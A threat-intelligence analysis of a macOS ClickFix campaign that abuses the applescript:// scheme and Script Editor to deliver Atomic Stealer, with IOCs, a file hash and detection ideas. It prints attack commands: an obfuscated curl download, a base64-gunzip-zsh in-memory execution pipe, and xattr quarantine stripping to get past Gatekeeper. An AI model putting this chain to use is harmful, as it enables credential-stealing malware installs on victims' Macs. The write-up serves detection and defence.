Summary
Attackers have adapted the ClickFix social engineering technique for macOS by abusing the applescript:// URL scheme to invoke Script Editor with pre-loaded malicious AppleScript code — bypassing macOS 15.4’s new Terminal paste-command scanning. The attack delivers a two-stage obfuscated payload that ultimately drops Atomic Stealer (AMOS), a credential and data-harvesting infostealer, as a Mach-O binary in /tmp/helper.
File Paths & Artifacts
macOS
/tmp/helper # Downloaded Atomic Stealer Mach-O binary (execution staging location)
Key File Breakdown
| File / Artifact | Purpose |
|---|---|
/tmp/helper | Atomic Stealer binary; written to /tmp to avoid user-visible locations; xattr -c used to strip quarantine flags before execution |
| AppleScript payload (in-memory) | Pre-filled malicious script opened in Script Editor via applescript:// URL scheme; triggers the download chain on user interaction |
| Obfuscated curl command | Stage 1 payload — URL is reconstructed at runtime using tr cipher to evade static detection |
| Base64/gzip shell script | Stage 2 payload retrieved via curl; decoded in-memory and piped directly to zsh to avoid touching disk |
Tools & Techniques
| Tool / Command | Usage |
|---|---|
applescript:// URL scheme | Triggers Script Editor to open with pre-filled code — bypasses Terminal paste-command scanning introduced in macOS 15.4 |
curl -k | Downloads stage 2 payload with TLS validation disabled (-k flag) |
tr | Runtime string transformation to reconstruct obfuscated URLs — avoids static IOC detection |
base64 | Encodes/decodes stage 2 payload |
gunzip | Decompresses stage 2 payload |
xattr -c | Removes extended attributes (quarantine flags) from downloaded binary |
chmod +x | Makes downloaded binary executable |
zsh | Executes decoded payload in-memory via pipe |
| Script Editor | Apple’s built-in AppleScript IDE — abused as proxy executor, not a typical execution vector |
Stage 1 — Obfuscated Curl Command (conceptual)
# URL is reconstructed at runtime using tr cipher, e.g.:
curl -k "$(echo 'obfuscated_string' | tr 'A-Za-z' 'N-ZA-Mn-za-m')"Stage 2 — In-Memory Decode and Execute
# Decoded payload executed entirely in-memory:
echo "<base64_blob>" | base64 -d | gunzip | zshStage 3 — Binary Staging
xattr -c /tmp/helper
chmod +x /tmp/helper
/tmp/helperAttack Prerequisites
- Minimum access required: Zero — social engineering only (user visits a fake Apple maintenance page)
- Achievability: High — victim is presented with a convincing fake Apple webpage and instructed to click “Fix” which triggers the
applescript://URL; Script Editor opens, victim manually runs the pre-filled script - Gatekeeper bypass: Extended attribute removal (
xattr -c) strips the quarantine bit before the binary is executed, preventing Gatekeeper from flagging the file
macOS 15.4 Bypass Context
macOS 15.4 introduced paste-command scanning for Terminal — when a user pastes a command into Terminal, macOS can inspect and warn about it. This attack sidesteps that control entirely by:
- Using Script Editor instead of Terminal as the execution environment
- Pre-filling the script via
applescript://URL so no clipboard paste occurs
This is an attacker pivot in response to a macOS security control, demonstrating that ClickFix TTPs actively evolve around defensive mitigations.
Attacker Stealth & Anti-Forensic Techniques
- Multi-stage obfuscation:
trcipher for URL reconstruction + base64/gzip encoding for payload - In-memory execution: Stage 2 payload piped directly to
zsh— never touches disk as a standalone file - Quarantine flag removal:
xattr -cstrips macOS extended attributes before binary execution, bypassing Gatekeeper - TLS validation disabled:
-kflag in curl suppresses certificate errors, enabling use of attacker-controlled infrastructure with self-signed certs
IOCs
Domains
dryvecar.com— payload deliverystorage-fixes.squarespace.com— fake Apple maintenance page (lure)cleanupmac.mssg.me— associated infrastructure
File Hashes
| File | SHA256 |
|---|---|
helper (Atomic Stealer binary) | 3d3c91ee762668c85b74859e4d09a2adfd34841694493b82659fda77fe0c2c44 |
Detection Opportunities
- Script Editor spawning
curl,zsh,base64, or shell processes → Hunt - ClickFix macOS Script Editor and Atomic Stealer xattr -cexecution on binaries in/tmp→ Hunt - ClickFix macOS Script Editor and Atomic Stealer- Network connections to
dryvecar.comorcleanupmac.mssg.me - Mach-O binary written to
/tmpfollowed byxattr+chmod+ execution sequence applescript://URL scheme invocations from browser processes